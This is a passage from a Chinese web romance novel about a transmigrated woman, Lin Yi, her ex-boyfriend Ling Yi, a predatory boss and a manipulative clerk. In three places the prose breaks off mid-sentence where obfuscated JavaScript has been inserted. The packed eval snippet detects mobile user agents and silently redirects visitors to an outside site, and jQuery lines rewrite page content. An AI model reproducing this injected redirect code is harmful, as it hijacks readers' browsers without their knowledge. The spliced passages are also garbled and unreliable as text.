林呓摸摸肚子,诚实地把它们都吃光了。 夏浮声等到一点整,一边关设备一边说:“要不要我送你啊姐?” 林呓喝了一大口花茶润嗓子,笑笑:“不用了,谢谢你。” 她抿去唇上的水渍,心头有一股强烈的直觉——或许有人在等她。 这个点,写字楼里灯光昏暗,除了电梯灯,只有门口亮着一盏廊灯。 林呓慢吞吞出了电梯,抬眼往外,就看见凌翊倚在门口,双臂交错在胸前。她停在原地,静静地看着他笼着灯光的身影。 过了会儿,凌翊抬手看了眼手表,眉梢微动,侧目朝写字楼里望,正撞上林呓略微失神的眼睛。 他正身,信步向她走来。 大概是这具身体的情绪感染了她,有种很奇怪的,温水漫过胸膛的肿胀感,有点闷。 林呓掐住指尖,让自己回神。 愣神间,凌翊已经走到她面前,垂眼看了她一会儿,他稍稍偏头朝外,吐出两个字:“送你。” 林呓走得慢,凌翊很有耐心的跟在她身旁,保持一致的步调。 两人都缄默。 街旁小摊传来熟悉的诱人香味,林呓趁着应景的环境破冰:“你吃饭了吗?” 身旁人停了下来,双手抄在外套兜里,视线不偏不倚地落在她脸上,眼底带着些许促狭笑意:“已经凌晨一点多了。” “哦。”林呓鼓鼓嘴。 继续沉默。 林呓知道他一定要亲眼看见自己进家门才会放心,于是没说无用的客气话,埋头赶路。 “叮——” 电梯到了楼层,凌翊跟在林呓后面出来,以前古灵精怪的女人此时老实得像只小猫,他压不住嘴角,背过身去笑。 “好了,”林呓扶着门把手,“我到家了。” “嗯。”凌翊眼睫垂着,瞧着精神不太好,似乎是困了。 “今天谢谢你,你快回去休息吧。”林呓说。 注意到凌翊的动作,林呓心说他终于舍得把手从口袋里拿出来了,谁知一瓶红花油和一瓶云南白药喷雾递到了她面前,外加一句话。 “和好吗,给个机会?” 4. 谈恋爱不如当老板(四) 这句话像是触碰到什么开关,林呓瞳孔一缩,气质陡然变得沉静。 凌翊看着她,眼底一片坦诚,“毕业前你说我过于理想主义,幼稚,天真。这343天里我一直在思考你说的话,不论是主动还是被动,我都做出了改变。” 他微微张开双手,“欢迎你验收。” 林呓回望他,语气平静,没什么起伏:“我也变了,变得唯利是图了,我不花时间验货,既然你主张那就举证吧。” 说着接过了他手里的药,放进包里,“谢了。” 凌翊似乎并不意外她会这样说,从容地拿出一张早已准备好的名片,递给她:“我的第一份举证,请笑纳。” 林呓没有立马去接,而是低眼看着名片。 宣纸颜色和质地的名片左上角印着“凌翊”两个字,下面依次是联系方式、邮箱、地址,地址正是下午林呓去过的店面。这些内容字体俊秀,静躺在左边上半部分的空间,与之向对的右下角则印着LOGO——双零,DoubleZero。 “双零”两个字一看就是精心设计的手写字体。 林呓来了点兴趣,两指夹住名片翻转到背面,果然是将图像压印到纸上的印刷技术,指腹摩挲时触感独特,感受到厚度和纹理的同时,也凸显了纸张的特殊质感,带来不一样的视觉体验。 这一面依然采用相同的设计思路,在镜像LOGO的对角介绍了主营业务:设计印刷、创意策划、广告宣传、品牌推广、活动营销。 林呓看向设计师,由衷地评价:“你的审美还是那么好,这张名片就是活广告。” 凌翊不可置否地轻哂,意有所指地看着她:“我的审美一直很好。” 林呓说话带刺:“是吗,难道不是因为这343天里没找到比我更漂亮的?” 凌翊愣住,但熟悉的语气让他反而放松些许,无奈地笑了。 “冤枉啊。我一毕业就进了老师的工作室,没日没夜的加班,被压榨得快要死了,哪里有时间看谁比你漂亮。” 林呓一脸“我就知道”的表情,狡猾地挑起眉,“所以是没时间,有时间你肯定就找了。” “……” 凌翊下颌绷紧,嘴角僵直,不说话了。 静静对峙了一分钟。 “你不怪我拉黑你然后消失?”林呓问。 “不,是我的任性和幼稚给我们的感情埋下了隐患,从你的角度来说选择分手很正确。”凌翊摇摇头,神色认真。 林呓目露讶异,仿佛在此刻才真正感受到他的变化。 凌翊顿了顿,目光有些恍惚,随即又坚定了,“现在的你比之前更加优秀,我也许不会再有高考后那个暑假的运气,但总归要争取一下才能知道最后的答案,不是吗。” 林呓平静地注视他,良久。 一开口声音是软的:“证据我先收下了,期待你的下次举证。晚安。” 凌翊微微颔首,目送她进了家门。 随着关门声轻轻落下一句:“晚安。” …… 考虑到受伤走不快,林呓今天提前半小时出门,一出单元门就看见了意料之中的人。 小区中心的空地有一些体育健身设施,供小孩玩乐、成人锻炼。 凌翊高大的身形就蜷坐在小巧的跷跷板其中一端,看起来很滑稽又有些可爱,他面对单元门,一眼就看见林呓,长腿踩地轻松跨过跷跷板,朝林呓走去。 林呓移开视线,自顾自地走。 视而不见是面对前任最好的办法。 她默许他跟着,但不搭话。 休息了一晚,也上了药,脚踝已经好多了,比昨天走得快一些。 凌翊依旧双手抄兜,低垂着脖颈,一副精神不佳的模样,慢慢跟在林呓身后。 刚出小区门口,林呓就看见熟人的背影——在小区租房住的郭珊。 她似乎和面前的人争吵了起来,听起来很不耐烦。 别人的私事林呓无意看热闹,于是往外走一步准备绕道,结果下一秒就眼皮一跳,看见了一位不速之客。 郭珊面前的人不是顾苑又是谁? 林呓想溜也溜不了了,因为顾苑已经看见了她,眼睛一亮就略过郭珊大步走到她面前拦着。 “林呓!”顾苑大声叫她名字,生怕她装看不见自己。 郭珊和凌翊皆是一愣。 林呓耳膜一震,下意识后退半步,撞上了一个结实的胸膛。 嘶……这心脏莫名其妙的就突突跳起来,还有点心虚。 郭珊怕他死缠烂打,立刻挡在林呓面前张开手做出保护的姿势:“你到底是谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464773|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊!总是缠着林呓,上次你说是她未婚夫我居然脑子有泡信了你。” 凌翊迈出去的步伐被“未婚夫”三个字凝固住。 林呓则被头顶一道探究的视线盯得头皮一凉。 顾苑被质问得面色难堪,又是咬唇,又是红眼,委屈倔强地看着林呓,隐忍不发。 这副神情摆出来,郭珊都有些动摇了,就好像他是被林呓无情抛弃的怨夫,来找她要个说法,或者是……名分。 林呓气乐了,身形一时不稳,左手边一条手臂默默递了过来,凌翊背过脸不看她,浑身笼罩一股生人勿近的气息。 也不跟他客气,林呓扶着他手臂换了个站姿站稳,对顾苑说:“没记错的话,上次我已经和你说得很清楚了,你应该知道自己的身份。” 顾苑心脏一坠,深知没有转圜的余地,却还是死鸭子嘴硬,“我只是想请你吃个饭,没想到会给你造成麻烦。” “不必了,我不差你这一顿饭。大家是邻居,回老家抬头不见低头见的,别把情分耗光了。”林呓说得直白。 手指张开,林呓明显察觉到掌心之下的“拐杖”放松了许多。 顾苑将头埋得很低,声若蚊哼,“……好。” 他转身离开的脚步顿住,犹豫地看向林呓身旁的男人,扯开嘴角问:“我有些好奇,你们是男女朋友吗?” 郭珊也很好奇,余光暗戳戳瞥着两人。 男女朋友? 林呓心中闪过一个念头,挑唇笑了起来,整个人看上去明媚又大方,略带惊讶地说:“看不出来吗,他是一个好心的路人呀。” 她说完前半句,“拐杖”就很有先见之明地绷紧了。 哦,不对,现在他是路人。 郭珊和顾苑对视一眼,都在彼此眼中看见了不相信,他们不约而同地看向这位“路人”。 凌翊将脸转过来,脸色黑得能滴墨。 他蹙着眉,僵硬地点了点头,竟然肯定了林呓的说法。 林呓抿唇忍笑,抬腕看了眼手表,像一只狡黠顽皮的小狐狸,侧头礼貌地对他说:“谢谢这位好心人,我有同事陪同,就不麻烦你了。” 凌翊平移胳膊,将她的手送到同事手上,对她展露了一个友好的笑容,声音却有些咬牙切齿的意味。 “不客气。” 5. 谈恋爱不如当老板(五) 今天林呓比夏浮声还早一点到公司,正打开设备,门外传来脚步声,邬寻直接推门进来了。 他背着手,在屋里踱步,眼神一一扫过设备、样衣,连洁白的天花板都带到了,最后停在林呓淡然的脸上。 “老板好。”林呓抽空打了个招呼。 “好。”邬寻应了声。 林呓继续做自己的事,没再分他半点视线。 似是觉得落了老板的气势,邬寻清咳两下,想引起注意。 林呓充耳不闻,打开电脑登录了后台,然后摸出手机点开备忘录,根据之前记下的琐碎灵感修改直播话术稿。 “你——”邬寻略有些不满她的无视。 “老板你先稍等,我在完善话术。” 林呓抱着手机打字,时不时停下来思考斟酌字句,最后通读一遍才结束。手机倒扣在桌上,她看向邬寻,问:“有什么事吗,老板?” 邬寻三十五岁的年龄,其貌不扬,放在人群里并不显眼,但俗话说人靠衣装马靠鞍,他的穿着打扮可谓富贵迷人眼,硬是撑出几分上位者的姿态,然而华丽的着装和骄矜的气质强加在虚浮的躯壳上,显得异常违和。 邬寻拉过一旁的旋转椅坐下,从背后拿出了一个礼品袋,脸色透着肾亏,笑得也有些瘆人:“上次不小心把咖啡泼到你衣服上了,我特地去商场为你买了一件新的。” 他单手提着袋子,递上前,林呓看了眼,委婉地说:“谢谢老板的好意,那件衣服已经洗干净了,而且不值多少钱,不敢让老板破费。” 邬寻控制椅子往她面前滑,态度坚持:“一件衣服而已,对我来说还算不上破费,你就收下吧。” 一件衣服或许不算什么,可如果今天收了他的东西,不用一个小时,她被老板包养、当小三小四的谣言可能就传开了。 邬寻这是在用衣服试探她的态度。 林呓保持得体的微笑:“如果您真心想补偿,那就加在这个月的工资里吧,八十块钱。” 混迹多年的老油条了,邬寻怎么会听不出她的意思,目光乍然阴沉,僵在脸上的笑容显得恐怖。 林呓从小就有种能力,凡是不怀好意别有用心的,不论人还是物,她看一眼就觉得邪恶,起鸡皮疙瘩,甚至恶心想吐。 此刻,胃里在翻江倒海,她快忍不住了。 “你今天来这么早啊,姐……”夏浮声的到来救了她。 被人打断,邬寻不好再做什么,只冷哼一声,踹开了椅子,甩手朝外走。 “……老板好。”夏浮声察觉气氛不对劲,只敢小声地打了个招呼。 偷偷探头看人走得没影了,她才拍拍胸口进来,一脸害怕:“我还是第一次见老板这个脸色,好吓人……你该不会和老板吵架了吧姐?” 夏浮声边放包边掏出水杯,喝了口水压惊,发现林呓一直盯着昨天拿来的新椅子,表情有种说不出的嫌弃和纠结。 “这椅子怎么了吗?”她问。 “脏了。”林呓说。 “啊?”夏浮声不明所以,看起来很新啊。 林呓一咬牙一闭眼,戴上口罩,从包里拿出小瓶酒精和湿巾,一瘸一瘸地踢着椅子往外。 “要扔掉吗?我帮你扔。”夏浮声觉得浪费,但不是自己的东西也不好说。 “不能扔,消毒。”林呓认真踢椅子,“你先开播,不用管我。” “哦……”夏浮声不理解,但尊重。 赵玲拎着手里的新款衬衫高兴坏了,宝贝似的抱在怀里,走一步看三眼,往办公室去的路上瞧见了站在窗边的林呓。 她心情好,上去打招呼:“看什么呢,林呓。” 林呓颔首回应:“玲姐好。没什么,有点无聊,带椅子晒晒太阳,杀杀菌。” 赵玲听得一愣,果真看见她腿边沐浴在阳光里的椅子,像个人一样在安逸地晒太阳。 林呓看见她怀里的袋子,丝毫不意外,但也没戳穿,一语双关地解释:“它本身是干净的,但坐的人脏,所以还是定期杀菌消毒才放心。” 这话听着古怪,也很刻意。 赵玲微妙地看她一眼,又低头看看怀里的衣服,半晌说:“你说得有道理,我记住了。” 踩高跟的声音渐渐远去,还没清闲几秒,耳朵边又炸开新动静——徐叶又开始轰炸了。 林呓面无表情地滑开手机,点进消息,一入眼就是十几条长达四五十秒的语音消息。 顿时不想搭理了。 当时纯碎是想调个味儿,谁知道是块没品没边界感的狗皮膏药? 从第一天加上微信,徐叶就一直想约她出来吃饭,早上她补眠问,中午她刚睡醒问,晚上她忙着上班还在问。难道男人脑子里就只有约女人吃饭这一件事吗,怎么,吃了一顿饭就感情激增以身相许了? 林呓心头烦躁,闭上眼养神,却不小心点开了最新的一条语音。 “你到底什么时候不上班啊?我都跟我室友说了好久了,他们都想见见你,一顿饭的时间而已都抽不出来吗?又不是要你请客,我们AA还不行吗?” 趾高气昂,态度施舍,他到底是以什么身份和底气说出这种不要脸的话? 疯了吧? 林呓不耐地睁开眼,视线触及街对面的男人后,眉眼慢慢舒展,眼底的情绪也缓和了些。 对街一家店外,一名工人在下面托递字母铝塑板,另一个站在梯子上焊接,凌翊时而在他们身后指挥位置,时而为他们递工具、递水。 旋转椅静静呆在阳光下,漆皮的坐垫泛着光泽。 林呓拿过放在窗边的酒精,仔仔细细又喷了一遍,每个边角都照顾到,再抽出一张新的湿巾擦拭。 做完这些,心情平静地差不多了,林呓点开键盘,利落地输入—— “八点见面谈,我跟你,两个人。” …… 徐叶支走了阿姨,店里只有他一个人。 他很激动,因为林呓终于答应他见面了,他每天都盼望她来买药。同时他又憋着气,连一顿饭都要三请四邀,室友们还以为他说泡到了大美女是在吹牛。 看她来了怎么哄自己吧。 八点零一分,数不清多少次向外张望了,林呓的身影终于出现在视野里,徐叶按捺兴奋,板着脸躲开店内监控去外面会面。 “你终于舍得出来了。”他背着手摆谱。 林呓没接他话茬,甚至都没看他一眼,熟稔地进店走到摆放花茶的货架,菊花茶果然还被摆放在最高的一层。 徐叶迷糊地跟着她,摸不着头脑,质问道:“我跟你说话呢,你为什么不理我!” 说着就伸出手去扒拉她胳膊。 林呓退步躲开,指着货架最上面:“这些茶原本是摆在下面的,你把它们放上去有几个顾客能拿到,如果你不在店里,又碰巧有人要买,阿姨估计要踩凳子上去拿,万一摔倒了怎么办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464774|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 徐叶伸出去的手停在半空,对她说的一堆觉得莫名其妙。 “收好你的心思,别连累别人。”林呓说完就朝外走。 徐叶慢半拍反应过来,她是在对他发火吗?她吃错药了吧?! 他大步流星地追出去,在店门口拦住林呓,一把摘下口罩,愤怒极了:“你什么意思?我是店员,我想怎么放货还用得着听你的意见!” 林呓交叠双臂,冷眼看他:“你是店员就可以不考虑顾客需求,就可以利用这个戏码搭讪女孩了?” 徐叶眼皮剧烈一抖,气势弱了下来,还在色厉内荏地掩饰:“我听不懂你在说什么。” “来这里买花茶的大多是我的同事,前天大家闲谈时聊起一个人,发现每个人都有他的微信,这个人是谁还需要我点明吗?”林呓举起手机,屏幕上正是徐叶的朋友圈,光是她能看见的点赞昵称就有六个。 “……你听我解释,”徐叶眼神乱飘,无意识搓着手,“是她们来买药,听说店里有时候会员日打折,就想加个微信方便我告诉她们什么时候来有优惠……” “别编了。”林呓厉声打断他,“你不仅撒网,你还pua,就拿我自己来说,是你主动加的我,聊天中也没提供任何有用的情绪价值,我们之间是平等的关系,你到底凭什么高高在上颐指气使地跟我说话?” “还有,说得好像都是她们看上你似的,你那招慢倍速身后举过头顶的动作精心设计了很久吧,不然怎么大家说起你都是一模一样的桥段?” 徐叶哑口无言,脸色憋得难看,偏偏嘴皮子掉链子,说不出一句话来反驳她。 此时正是人流量大的时间点,商场里顾客络绎不绝,已经有一些人注意到他们伸脖子向这边张望看热闹,林呓不想和他啰嗦,更不想像猴一样被围观,转身就走。 徐叶气得牙痒痒,大喝一声:“别走!” 下意识伸手要抓她。 他没抓住林呓,反倒被人抓住了。 徐叶怒目瞪向坏他事的男人,一向的身高优势却在此人面前失去了作用,他肩膀一提,用力都没能抽出手,气急败坏地撒泼一抡。 林呓没想到会碰见凌翊,怕徐叶甩手打到他,没来得及反应就将他往后一拽,堪堪避过徐叶的发疯攻击。 “你没事吧?” 两人同时问。 “我没事,”林呓摇摇头,“你怎么在这里。” “碰巧遇见了。”凌翊视线落在她身上,见她没受伤松了一口气。 见两人似乎认识,且关系不凡,徐叶当即找到了发作的闸口:“你不是说你单身吗?那他是谁!” 他吼得很大声,惹得商场里几乎所有人都看了过来,他立马有了依仗一般挺直了腰杆。 林呓拳头攥紧,很想给他一拳。 忽然,一只手掌包裹住了她的拳头,心里的火气好似被一层温润的水膜覆盖,令她轻而易举就平息了下来。 林呓侧首看向凌翊。 凌翊掀起眼皮睨了徐叶一眼,一声哂笑从鼻腔溜出,根本不把他放在眼里,也不觉得自己或林呓有义务回答他的问题,轻轻托着林呓的小臂转身离去。 “你给我回来——” 徐叶还想再拦。 凌翊侧身,眼神锐利而轻蔑,暗含警告。徐叶被这一眼扫视得后脊窜起一层冷汗,连着追出去的脚步都硬生生凝固在了原地,只能眼睁睁看着两人离开。 6. 谈恋爱不如当老板(六) 可能是下楼走得急,加上刚刚站了许久,脚踝又开始痛了。凌翊托着林呓小臂,一路扶她到公司楼下。 林呓站稳便抽开了手:“谢谢啊。” 凌翊脸绷着,不冷不淡地“嗯”了声,从口袋里拿出了一袋速食三明治——牛油果味道的,她最喜欢的牌子。 林呓的肚子很不给面子咕咕叫了,“……好吧,再谢谢你。” 她伸手接,感受到来自对面的一股力,身体不禁朝力量的源头靠近。她抬头,看见他棱角分明的下颚,而后与他耷下来的眼睛对视。 林呓皱皱鼻子,好像闻到了醋酸味。 她扬起的面庞美丽而精致,眼神无辜,凌翊松开手,不自然地偏过头,没来由地说了句:“看来你的审美倒退了很多。” 他的声音凉飕飕的,林呓慢一拍才反应过来他的意思,她嘴硬但也是实话实说:“我可没那个想法,他主动加我,我拿他当个调味品而已,谁知道他是这副德行。” 这个回答让凌翊心里更不痛快,未经多少思考,他脱口就说:“那我呢,在你眼里我是什么,死缠烂打的前男友吗?” 话一出口,就后悔了,可说出去的话泼出去的水,不可能收回来了。 林呓似笑非笑地盯着他,眼底的神采一层层叠加:“在我看来,调味品的意义停留在浅层,不走心,不动真感情。” 凌翊的脸色稍稍缓和了些,下一刻又因为她的话拧起了眉。 “现在你是我的调剂品了,前男友。”林呓尾音上扬,说出一字便靠近一点,最后与他的胸口只隔不到一拳距离。 心脏轻微地收缩了一下,凌翊攥紧手指,克制住想要抱她的冲动。 “差了一个字,你眼里的调剂品有什么意义。”他轻声问。 林呓摸着下巴,玻璃珠似的眼滴溜溜转了两圈,将凌翊的五官一一描摹,最后露出俏皮的笑容:“自己想喽。” 说完她潇洒转身进了写字楼,丢凌翊独自在原地揣摩她的心思。 - 连着一周上下班,林呓总能“偶遇”凌翊,两人心照不宣,彼此默契地不提此事。 但今天下午,凌翊等了个空,已经三点十分了还不见她的身影。 他有些担心,拿出手机熟练地拨出一个号码——前两天林呓心情好,大发慈悲地把他从黑名单里放出来了。 嘟嘟几声后,对面接通了,顺着听筒传来的震耳欲聋的音乐和欢呼让凌翊的话卡在喉咙里——死去的记忆复活了。 “喂?凌翊吗,怎么了?”林呓手括在嘴边大声说。 嘟嘟嘟——凌翊把电话给挂了。 嗯?林呓一脸莫名其妙,打错了? 手机还没放下,又震起来——还是凌翊。 “喂?” “你今天不上班吗。” “调班了,明天开始上早班了,今天白天休息,大家临时起意来KTV唱歌。” 林呓指了指手机,跟唱得跳得正嗨的几个同事用口型说:我出去接个电话。 出了包厢,声音立刻小下来。 对面没说话,林呓看一眼屏幕,他还在。 忽地,一种熟悉的感觉顺着脊梁骨爬上来,太阳穴突突跳了两下——此情此景记忆犹新,当年今日历历在目啊! 他该不会在脑补分手回忆录吧…… “咳,那啥……你是在楼下等我吗?” 林呓赶紧转移话题。 凌翊举着手机贴在耳边,看了眼面前的单元楼,低低地说:“没有。” 林呓当然不会自讨苦吃拆穿他。 她假意邀请:“你要来玩吗?就是我们这里全是女生,你来了可能会不自在。” 静了两秒,凌翊的声音这时听起来松快了些:“不用,你们好好玩吧。” 林呓做戏做足,遗憾地说:“那真是太可惜了。” “林呓。”凌翊忽然连名带姓地喊她。 “在呢。”林呓心跳一漏。 停顿半晌,凌翊夸奖她:“你真棒。” 她聪明的暗示为他保留了体面。 林呓暗爽,眼睫低垂,漾起一道弧度,很受用地说:“你也不错。” 抚顺了毛,林呓进去加入了姑娘们的鬼哭狼嚎。 包厢里只有四个话筒,七个姑娘不够分,一人轮一首,轮到林呓她谢绝了,因为嗓子不舒服实在唱不动。每个人唱时,林呓都跟着小声哼唱,鼓掌当氛围组。 唱够了两小时,趴了一片,大家都没力气了,叫来服务员点了一些酒水,大肆吐槽起烂人烂事。 “我什么时候能脱单啊,这班上得我死气沉沉,来个男人给姐贡献点阳气吧!” “得了吧,真谈你就老实了,男人活着是渣男,死了也是死渣男。” 林呓不可置否地挑眉,抿了一口饮料。 “要我说,多挣钱就好了,去店里点,喜欢哪个点哪个。” “不行,我嫌脏。” “呃,男人有不脏的吗?” 大家一愣,哄堂大笑起来。 林呓也笑了。她心里琢磨,是时候推推进度了。 …… 凌翊接到电话,很快赶来,推开包厢门,入眼一片狼藉,桌子上四仰八叉躺的全是酒瓶。音乐已经关了,林呓乖乖坐在沙发上,双肘撑膝,手托着下巴,慢悠悠看向门口。 “你这是喝了多少。”凌翊无奈轻吁,把灯光模式从劲舞调成轻柔,然后打开空调排风换气。 林呓眼皮沉重地一眨,想了一会儿,举起三根手指,傻乎乎地朝他笑。 凌翊走到她面前,站定,思考是等她缓一会还是立刻送她回去。 正想着,食指被勾住,林呓拉着他坐了下来。 还未坐稳,林呓身形一歪,顺势攀上他的肩膀,凌翊一下子绷紧了身体:“……怎么了,头很晕吗。” 林呓身上染着淡淡酒气,启唇说话却有甜丝丝的果味飘出,占据了凌翊的鼻腔。 她眼神迷蒙,双颊绯红,手指抚摸他俊挺的眉弓,徐徐说:“真心局,玩不玩?一人一个问题,回答不出来就喝酒。” 凌翊来前刚见完客户,一套西装贴身,既拘束行动也令他呼吸急促起来。 他微微松开了领带:“你醉了,不能再喝了。” 林呓鼓起嘴,离开他,口吻像赌气:“什么问题我都敢说,回答出来自然就用不着喝酒啦。你是不是不敢?” 地上箱子里还有两瓶剩余的酒,凌翊一手虚圈着林呓的腰防止她歪倒,一手拎出两瓶酒放在桌上:“好,我玩。” “女士优先,我先问。”林呓生怕吃亏似的抢先说。 “听你的。”凌翊脱掉西装外套,解开袖扣挽起袖子。 林呓抱住脑袋摇摇头,似乎想让自己清醒一点,在无人看见的角度眼底一片清明。 “第一个问题,我们分手后你想不想我,是洁身自好还是找过别人?” 这好像是两个问题。 但没关系,耍赖是醉鬼的特权,何况她是林呓。 凌翊一边开酒一边看着林呓迷糊的眼睛:“想你。洁身自好没有找别人,我的第八十七夜依然留给你——如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464775|141847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算用手的话。” 他握拳抵唇,似乎在掩饰自己的羞赧,如果林呓没醉,他绝不会对她说出这种话。 “嗝……” 林呓吓得打了个嗝,慌忙捂住嘴,掌心下的温度在急速飙升。 啊? 啊?? 怎么没人告诉她小情侣的关系已经到这一步了!! 如果是这个调调,那她得调整战术了…… 耳边全是鼓噪的心跳,林呓都没听见凌翊的问题,愣了愣:“……我没听清,你再说一次吧。” 凌翊唇边荡着淡淡的笑,柔光照在他脸上显出几分宠溺的意味:“我说,你呢,有没有想过我。” “想过……吧。”林呓作回忆状。 “吧?”凌翊挑眉重复最后一个字。 林呓闭眼装晕,仔细想了一分钟,诚实地瞎说:“因为你技术还不错,偶尔回味回味。” “……” 这下换凌翊乱了,几秒钟换了八百个动作,摸嘴摸眉毛摸眼睛,最后端起酒杯——自己和自己干了。 好。现在脸红可以赖酒精了。 林呓卡壳了一下:“第二个问题,你是不是一直都在留意我呢,否则那么多巧合没法解释。” 凌翊如实回答:“你把我拉黑后消失,我担心你,于是拜托共同好友注意你的近况。小区的事纯属巧合,这一块区域经济发展快,不少年轻人在周边买房,我也是其中之一。毕业后我在老师的工作室工作,房子也空了一年,上个月辞职回来,和几个大学同学打算一起合伙创业,就把房子拿出来当大家的临时落脚点,他们就分担店面房租。” “店面定下来之后,他们有的处理辞职交接,有的出去跑业务打广告,我被留下来盯装修。偶然一次软件推送给我你们公司的直播间,刚好是你,我就关注看了几天,后来有天打扫垃圾晚了,回家已经一点多了,碰巧在小区门口看见你,才知道你也住在这。” 林呓默默听着,时不时点头回应,心里在想:果然是主角啊,缘分总是站在他们这边。 到凌翊提问了,他又倒满一杯酒:“我频繁出现在你身边,假装创造偶遇,你会困扰吗,或者,很厌恶。” 透明的酒杯被液体填满,林呓伸手去拿,被凌翊捏住了手腕,他挑起一边眉毛,眼里写着“你不能再喝了”。 林呓不理会,换另一只手去拿,挑衅似的仰头看着他喝,喝到一半,拿杯子的手也被钳住,凌翊把着她的手喝完了剩下一半。 他拿开杯子,看见她唇边沾了泡沫,自然地伸出拇指想帮她擦,却在触到的前一秒被截胡——林呓探出舌尖舔干了泡沫和酒渍。 凌翊瞳孔一缩,放开了她,手指蜷缩着就要收回。 林呓拉住他的手,故意在刚刚被她舔过的地方一擦:“不会啊,我很享受。而且你是担心我在保护我,我不是不识好歹的人。” 这个回答原本应该让凌翊放下心,但此刻胸腔咚咚,咚咚,愈来愈疾。 林呓眼底噙满微醺的水光,仿佛不小心看一眼都会脚步踉跄,满脸通红。凌翊放任自己欣赏风景,便也理所应当地沉入了湖底。 林呓默数节拍,在灯光掠过时环腰抱住他,脸庞贴在他胸前,唇边带着调戏良家男的坏笑。可只有她自己知道,这具身体的心跳已经超速八十码了,耳畔之下的人也不遑多让。 这俩主角可真有意思,86夜情,都这么熟了,还这么纯情?两个人的反应都太大了吧? 缓了缓神,林呓张开双唇,声音轻缓蛊人:“第三个问题,有兴趣一起体个检吗?” 7. 谈恋爱不如当老板(七) 林呓四点起床,看见了凌翊昨晚送她回来后发的消息。 凌翊:蜂蜜水在床头,醒了记得喝。 隔了十分钟。 凌翊:我已经预约了体检。 凌翊:[截图] 凌翊:晚安。 林呓洗漱过,喝光蜂蜜水,把一滴不剩的玻璃杯拍给他看:完成任务。 出了单元门,林呓习惯性往跷跷板那里望一眼。没有人在。 凌翊昨天是问她几点上班来着,但她觉得没必要每天都送,又不是小孩子了,他也有自己的私事和工作,应该好好休息。 凌晨四点多,天蒙蒙亮,外面人烟尚少。 林呓赶时间,一边走路一边往嘴里塞面包。 到了公司,没几个人在,只有几个早班主播哈欠连天苦大仇深地在调设备。 林呓换好衣服回来,夏浮声刚到,进门连招呼都没打,直接趴在桌子上补觉,死气沉沉。 调班是邬寻的意思:“最近早班的直播成绩不太理想,你的业绩一直是第一,一定有能力胜任。” 还特别强调让她从五点开始播。 早班早上五点开始,下午三点结束。按平台流量来说,早班是怎么都比不上晚班的。 林呓明白,邬寻是故意折腾她。夏浮声被她连累了。 真是低级幼稚的手段,但膈应人很有效果。 这个点,鸟都没起呢,哪里会有多少人看直播?右上角在线人数显示“3”。林呓揉揉脸醒神,拿出百分百的状态,与平时一样面带笑容,情绪饱满地开始介绍。 夏浮声睡了半小时才迷迷糊糊醒了,她一惊,敲敲桌子提醒林呓。 林呓抬眉示意,把一套话术说完才道:“下面让我家小助理教一下大家怎么领券下单啦。” 夏浮声接过话头,把助播稿慢慢念了两遍,给林呓争取足够的休息时间。 “你怎么不叫醒我呀。”夏浮声凑过来。 “没事,你困就多睡会。”林呓摇摇头,喝了一口花茶润喉,又继续直播。 突然转换作息和工作时间,林呓有点吃不消。两个半小时无水份的直播结束,她累得说不出一句话,连走两步去桌子边坐下都费劲。 她趴在桌边,脑袋枕在臂弯里,阖眼休息。 却睡不着。脑子里像被塞满了没营养的枯草,她在一片荒芜里寻找种子,希望能种出绿芽或是花朵。 001消失后再也没出现过,她在这个世界孤立无援,哪怕没有人知道她是异类,但她自己清楚,两张脸就算再相似,她们也不是同一人。只有在面对凌翊时,她才感到自己有活人味儿,但大概也只是这具身体、这颗心脏带来的错觉。 作者也许久没有呓语了,她睡得很安稳,以上帝视角在审判这场梦境。 林呓有时控制不住地想,原主角被上一任投胎者替代了,而她又替代了投胎者,那她们去哪里了呢。主角还存在吗?她会不会也被囚禁了意识,在某处挣扎,拼命想要回归小说世界,毕竟她的父母那么爱她,她在这里拥有许多美好的东西。还有投胎者,她脱离了小说世界后,会顺利走过奈何桥吗?希望孟婆敬业一点,别学001玩消失,耽误了投胎的吉时。 在维持人设的基础上,重构小说世界分为两步:挣钱单干当老板,和凌翊推拉一番后复合。 林呓想了想,这两件事本质上可以当作一件事——只需要她走出那一步。 辞职。 林呓睁开眼,平静无波,打开手机银行看了眼余额。五十万。 这个数字对于一个毕业不到一年的普通打工人来说,不是个小数目。可林呓却没什么感觉,不惊叹也不嫌少,好像她以前也有赚这么多的本事,但她记不清了,明明没过去多久,她却淡忘了一些事情。 没关系。林呓鼓舞自己,只要完成“不可思议”的目标,她就能回到现实,反正她是无根浮萍,一人吃饱全家不饿,有的是时间想起来。 